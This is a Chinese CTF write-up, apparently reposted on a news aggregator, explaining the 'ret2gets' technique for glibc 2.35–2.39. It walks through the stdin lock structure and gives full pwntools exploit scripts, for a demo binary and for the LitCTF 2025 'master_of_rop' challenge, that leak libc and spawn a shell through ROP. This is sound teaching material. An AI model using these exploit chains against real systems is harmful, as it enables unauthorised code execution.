当前位置: 首页 > news >正文

Ret2gets

[原创]ret2gets的原理与利用方法-Pwn-看雪安全社区|专业技术交流与安全研究论坛

可以看一下这位师傅写的ret2gets的原理。还是十分详细的。

由于在高版本的glibc中删除了__libc_csu_init这个函数。所以导致我们在不清楚libc基地址的情况下,很难找到pop rdi这样的gadget来为我们传递一参。正常的ret2libc就基本上利用不了了。

在glibc2.35~2.37版本中,我们可以来看一下这里的ret2gets是怎么利用的。

可以先写一个比较简单的demo。

版本是glibc2.35的。

#include <stdio.h> int main() { char buf[0x20]; puts("Can you rop?\n"); gets(buf); return 0; }

很显然,这里不存在pop rdi这种方便的一参。那我们应该怎么办呢?

可以先运行下程序看看做了什么。

from pwn import * context.log_level = 'debug' context.arch = 'amd64' ​ io = process('./pwn') elf = ELF('./pwn') pl = b'a'*0x28 + p64(elf.plt.gets) gdb.attach(io) io.sendline(pl) io.sendline(b'/bin'+p8(u8(b'/')+1)+b'sh') ​ io.interactive()

这是我们的测试脚本。可以看到断点打在了发送内容之前。

可以看到我们的rdi里存放的是_IO_stdfile_0_lock,存放的是libc内的内容。这就为我们泄露libc基地址提供帮助了。

首先先看下结构体。

typedef struct { int lock; int cnt; void *owner; } _IO_lock_t;

我们这里需要利用到里面的两个宏。可以看下源码。(glibc2.37)

#define _IO_lock_lock(_name) \ do { \ void *__self = THREAD_SELF; \ if ((_name).owner != __self) \ { \ lll_lock ((_name).lock, LLL_PRIVATE); \ (_name).owner = __self; \ } \ ++(_name).cnt; \ } while (0) #define _IO_lock_unlock(_name) \ do { \ if (--(_name).cnt == 0) \ { \ (_name).owner = NULL; \ lll_unlock ((_name).lock, LLL_PRIVATE); \ } \ } while (0)

我们可以看到在_IO_lock_unlock里存在对cnt会进行--,并判断--后的值是否==0。如果等于0,那么owner处的值就会被置零。但是owner处是存放着TLS地址的。只要能puts出来,我们就拿到了libc基地址了。

所以就是说,我们输入的第五个字节会被减减。同时要注意,puts会有'\x00'截断,所以在owner之前不能存在'\x00'字节存在。

我们可以来看一下如何在没有pop rdi的情况下控制一参。

from pwn import * context.log_level = 'debug' context.arch = 'amd64' ​ io = process('./pwn') elf = ELF('./pwn') pl = b'a'*0x28 + p64(elf.plt.gets) gdb.attach(io) io.sendline(pl) io.sendline(b'/bin'+p8(u8(b'/')+1)+b'sh') ​ io.interactive()

可以看到,通过减一后,我们输入的内容刚好就是/bin/sh了。同时这里还实现了对于一参rdi的控制。

但是,我们这里没有调用system啊,光光控制一参有什么用呢?

所以我们的首要目的是去获得libc的基地址。

也就是要去绕过_IO_lock_unlock的检测。

from pwn import * context.log_level = 'debug' context.arch = 'amd64' ​ io = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6') pl1 = b'a'*0x28 + p64(elf.plt.gets) + p64(elf.plt.puts) + p64(elf.sym.main) io.sendline(pl1) gdb.attach(io) io.sendline(b'A'*4+b'\x00'*3) base = u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00') - 0x3b8740 success(hex(base)) rdi = base + 0x2a3e5 binsh = base + next(libc.search('/bin/sh\x00')) pl2 = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(base+libc.sym.system) io.sendline(pl2) io.interactive()

这里关键在于b'A'*4+b'\x00'*3。由于gets会把末尾的\n换成\x00,所以我们输入后会变成lock被写入为AAAA,cnt被写入为\x00*4。当cnt自减时,就会变为一个大数\xff\xff\xff\xff。这样就成功绕过了检测,得到了libc基地址。

pwndbg> tele 0x7ffff7e1ca80 00:0000│ rax rdi 0x7ffff7e1ca80 ◂— 0xffffffff41414141 01:0008│ 0x7ffff7e1ca88 —▸ 0x7ffff7fb8740 ◂— 0x7ffff7fb8740 02:0010│ 0x7ffff7e1ca90 ◂— 0 ... ↓ 5 skipped

在得到libc基地址后,后面去获得各种gadget就简单多了。

上面的实现都基于glibc2.35-2.37版本。

在glibc2.37~2.39版本中又对lock增加了检测。

还是先看源码。

#define _IO_lock_lock(_name) \ do { \ void *__self = THREAD_SELF; \ if (SINGLE_THREAD_P && (_name).owner == NULL) \ { \ (_name).lock = LLL_LOCK_INITIALIZER_LOCKED; \ (_name).owner = __self; \ } \ else if ((_name).owner != __self) \ { \ lll_lock ((_name).lock, LLL_PRIVATE); \ (_name).owner = __self; \ } \ else \ ++(_name).cnt; \ } while (0) #define _IO_lock_unlock(_name) \ do { \ if (SINGLE_THREAD_P && (_name).cnt == 0) \ { \ (_name).owner = NULL; \ (_name).lock = 0; \ } \ else if ((_name).cnt == 0) \ { \ (_name).owner = NULL; \ lll_unlock ((_name).lock, LLL_PRIVATE); \ } \ else \ --(_name).cnt; \ } while (0)

发现这里只有当cnt!=0的时候才可以让cnt--。

结合nssctf里的一道题来说明。

[LitCTF 2025]master_of_rop

链接:[LitCTF 2025]master_of_rop - NSSCTF

__int64 __fastcall main(int a1, char **a2, char **a3) { _BYTE v4[32]; // [rsp+0h] [rbp-20h] BYREF ​ puts("Welcome to LitCTF2025!"); gets(v4, a2); return 0LL; }

依旧一眼栈溢出。

下面给出exp。

from pwn import * context.log_level = 'debug' ​ #io = remote('node4.anna.nssctf.cn',28428) io = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6') pl1 = b'a'*0x28 + p64(elf.plt.gets)*2 + p64(elf.plt.puts) + p64(0x4011ad) io.sendline(pl1) io.sendline(p32(0)+b'a'*4+b'a'*8) io.sendline(b'a'*4) base = u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00') - 0x3ba740#(远端换成+0x28c0) success(hex(base)) rdi = base + 0x10f75b binsh = base + next(libc.search(b"/bin/sh\x00")) pl2 = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(rdi+1) + p64(base+libc.sym.system) #gdb.attach(io) io.sendline(pl2) ​ io.interactive()

这里解释一下。

这里去使用了两次gets,两次往_IO_stdfile_0_lock_里写入内容。

第一次先去覆盖cnt的值,然后把lock置零,防止stdin上死锁,卡死进程(最后发现好像不管写入什么,都会把lock置零?)然后就是第二次写入,把lock再给覆盖,然后就可以正常打rop了。这里把lock去置零,然后后面会发生抢锁的过程,然后会更新owner。好像只要owner地址合法,就不会考虑lock的值了?也要先咕咕咕了。这种题型比较死板,基本照着写就行QAQ。

问题是这里远端我调了好久,也不知道为什么一直和远端有问题。先咕咕咕吧......

http://www.jsqmd.com/news/700900/

相关文章:

  • 直方图梯度提升算法优化与工程实践
  • 国际半导体展哪家好?梳理展会亮点,助力企业开拓国际市场 - 品牌2026
  • 智能体架构全解析:从核心模块到多智能体系统实践
  • 从提示词到上下文工程:构建生产级AI系统的核心架构演进
  • Python fake-useragent库:基于真实数据的User-Agent生成与反爬实战
  • 2026年国内优质双酚F厂家推荐榜:高纯双酚F/双酚F企业/双酚F供应厂家/双酚F供应商/双酚F供货商/双酚F公司/选择指南 - 优质品牌商家
  • LRU缓存(手写双向链表和哈希表)
  • Spring Boot项目大变身:为何要拆成这六大模块?
  • PyCaret自动化机器学习:从入门到实战
  • 2025届学术党必备的五大降重复率平台横评
  • 数组练习题
  • 中国半导体展哪家好?深度解析国内展会优势,助力企业挑选合适平台 - 品牌2026
  • 协作与版本控制:MLflow、DVC与Git LFS管理模型与数据
  • Claude-Mem:为AI编程助手构建持久化记忆系统的架构与实践
  • Amazon ECS Agent 深度解析:架构、部署与生产环境实战指南
  • 【AI Agent实战】公众号排版丑?AI帮你一键改造成「课堂型」高级感
  • 线性回归与XGBoost实战对比:原理与性能解析
  • ARM RealView Debugger硬件断点技术深度解析
  • 环境与依赖管理:Conda、Docker与Poetry构建可复现开发环境
  • Python实现带动量的梯度下降算法与优化技巧
  • Claude Scientific Skills:134个技能打造桌面AI科学家,加速科研工作流
  • Keras文本预处理核心技术解析与实践指南
  • 贝叶斯定理:从直觉理解到实战应用
  • 深度学习噪声训练:原理、实现与调优指南
  • 如何打造出色的产品设计作品集?5 大核心要素与面试加分指南
  • LangAgent框架:从API调用到目标驱动的AI智能体开发实战
  • Cursor + Claude Code 接入 API 实战:国内稳定使用 Claude 4.7 配置全攻略
  • 3个关键步骤解锁手绘白板Excalidraw:从零到高效协作的完整指南
  • Kurtosis一键部署Auto-GPT:告别环境配置,专注AI智能体开发
  • 谷歌最新算法有哪些更改?首屏加载超过2秒将直接失去排名